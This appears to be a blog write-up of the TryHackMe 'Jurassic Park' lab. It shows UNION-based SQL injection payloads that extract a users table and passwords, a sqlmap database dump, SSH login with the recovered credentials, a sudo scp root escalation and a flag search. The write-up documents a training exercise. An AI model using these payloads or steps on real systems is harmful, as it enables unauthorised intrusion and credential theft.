Skip to content
TryHackMe1 min read

THM - Jurassic Park

Jurassic Park - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Jurassic Park#

NMAP

image1

Website http://10.10.204.254/shop.php

image2

  • Clicking on one gives the following URL:

http://10.10.204.254/item.php?id=3

  • If you remove the ?id=3 it results in:

image3

  • So we know it's MySQL

  • Attempting to break it:

http://10.10.204.254/item.php?id=3'

or using Union

http://10.10.204.254/item.php?id=3 UNION SELECT 1 --

image4

image5

  • I randomly changed the id=100 http://10.10.204.254/item.php?id=100

image6

Compared to (normal request ie. id=1):

image7

  • Fuzzing the id field ?id=5

http://10.10.204.254/item.php?id=5

image8

http://10.10.204.254/item.php?id=5 union select 1

image9

bash
union select 1,2,3,4,5

image10

  • 2 and 4 are being reflected so:
bash
union select 1,database(),3,version(),5

image11

image12

  • Fetch the users table from the database
bash
?id=1 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema = database() and table_name = "users"

image13

  • Get column passwords from the table
bash
?id=1 union select 1,2,3,password,5 from users

image14

  • But it dared me to use SQLMap so...

  • Open Burp and capture the request. Save the request to a file (burp)

image15

  • Run SQLMap:
bash
sqlmap -r burp --batch
  • Found the following injection points:

image16

  • Or just dump the database (more noisy):
bash
sqlmap -r burp --batch --dump

image17

image18

Dennis : ih8dinos

  • SSH with the credentials:
bash
ssh dennis@10.10.204.254
  • Enumeration:
bash
sudo -l

image19

  • We can run scp as sudo

  • GTFOBins

image20

image21

  • Got Root

image22

  • Stabilise:
python
python -c 'import pty; pty.spawn("/bin/bash")'

image23

  • Search for flags:
bash
find / -name "flag\*" 2>/dev/null

image24

image25

  • Found flag3 in: /home/dennis/.bash_history
TryHackMe3 min

THM - VulnNet: Endgame

VulnNet Endgame - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • john the ripper
  • linux
  • linux capabilities
  • linux setuid
  • nmap
TryHackMe3 min

THM - Chronicle

Chronicle (good ret2libc lab - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • linux
  • nmap
  • privilege escalation
  • python
TryHackMe5 min

THM - Bandit

Bandit - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • command injection
  • linux
  • nmap
  • powershell
  • privilege escalation